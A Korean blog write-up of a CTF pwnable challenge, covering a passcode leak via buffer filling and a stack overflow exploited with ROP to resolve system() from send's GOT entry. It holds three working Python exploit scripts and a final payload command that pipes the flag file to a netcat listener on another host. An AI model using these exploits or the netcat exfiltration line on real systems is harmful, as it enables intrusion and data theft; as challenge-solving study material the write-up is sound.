이 바이너리는 따로 nc서버 설정을 안해도 바이너리 자체에서 소켓 통신을 한다.
고로 바이너리 실행 후 포트를 1129로 연결해주기만 하면된다.
서버에 있는 THIS_IS_NOT_KEY_JUST_PASSCODE를 읽어 들인다.
(직접 파일을 만들고 문자열을 집어 넣어 세팅해준다.)
실제 대회에서는 문자열이 뭔지 모르기 때문에 릭을 통해 알아내야한다.
처음 입력은 quit와 target launch등 입력할 수 있다.
s를 알아내야하는데 s1에서 0x200만큼 입력할 수 있다.
v4와 v5를 다 채우면 s를 릭할 수 있는데 0x200으론 v4와 v5를 채울 수 없다.
마지막 부분에 이런 부분이 있다. 여기를 활용해 릭해보자.
이부분을 이용하면 v4와 v5를 채울 수 있으니 소스를 짜보면
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 | from socket import * from time import sleep s = socket(AF_INET, SOCK_STREAM) s.connect(("192.168.153.139", 1129)) print s.recv(1024) s.send("target\n") sleep(0.3) print s.recv(1024) s.send("37.22/37.22\n") sleep(0.3) print s.recv(1024) s.send("A"*512+"\n") sleep(0.3) data = s.recv(1024) print data[542:] | cs |
릭을 통해 s를 받아 올 수 있었다.
이제 passcode를 알았으니
launch를 입력하면 passcode를 체크한다
통과하면 overflow 함수로 들어가는데
그 안에 start_routine 함수가 있다.
이 함수가 취약한 부분인데 buf가 0x20c이다 근데 0x512까지 받을 수 있으니 당연히 펑펑
오프셋은 이렇게 된다.
처음에 system에서 send를 뺐는데 엄청 차이가 나서
반대로하니깐 그럭저럭 음음
이제 got를 이용해 read send 주소를 가져오고 offset만큼 빼준다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 | from struct import * from socket import * from time import sleep p = lambda x: pack("<L", x) up = lambda x: unpack("<L", x)[0] s = socket(AF_INET, SOCK_STREAM) s.connect(("192.168.153.139", 1129)) code = "It's too boring" send_plt = 0x08048900 send_got = 0x0804b07c ppppr = 0x0804917c offset = 0x18a7a0 payload = "A"*528 payload += p(send_plt) payload += p(ppppr) payload += p(4) payload += p(send_got) payload += p(4) payload += p(0) print s.recv(1024) s.send("launch\n") print s.recv(1024) print s.recv(1024) s.send(code+"\n") print s.recv(1024) s.send(payload+"\n") print s.recv(1024) send_real = up(s.recv(4)) system = send_real - offset print hex(system) s.close() | cs |
이렇게 시스템 주소를 얻었다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 | from struct import * from socket import * from time import sleep p = lambda x: pack("<L", x) up = lambda x: unpack("<L", x)[0] s = socket(AF_INET, SOCK_STREAM) s.connect(("192.168.153.139", 1129)) code = "It's too boring" sh = "cat /home/tory/Desktop/flag | nc 192.168.153.139 3722" bss = 0x0804b088 recv_plt = 0x080488e0 ppppr = 0x0804917c system = 0xb761bd80 payload = "A"*528 payload += p(recv_plt) payload += p(ppppr) payload += p(4) payload += p(bss) payload += p(len(sh)) payload += p(0) payload += p(system) payload += "AAAA" payload += p(bss) print s.recv(1024) s.send("launch\n") print s.recv(1024) print s.recv(1024) s.send(code+"\n") print s.recv(1024) s.send(payload+"\n") print s.recv(1024) s.send(sh+"\n") print s.recv(1024) s.close() | cs |
최종 페이로드!!
이렇게 해놓고 최종 소스를 돌리면 flag을 읽을 수 있다.
'CTF > Write-up' 카테고리의 다른 글
codegate 2014 angry doraemon (0) | 2017.01.15 |
---|---|
Warm-Heap (0) | 2017.01.15 |
holyshield pwnit (0) | 2017.01.10 |
codegate 2013 vuln200 (0) | 2017.01.08 |
Layer7 ctf 2015 IhaveLongDariYouHaveShotDari (6) | 2017.01.07 |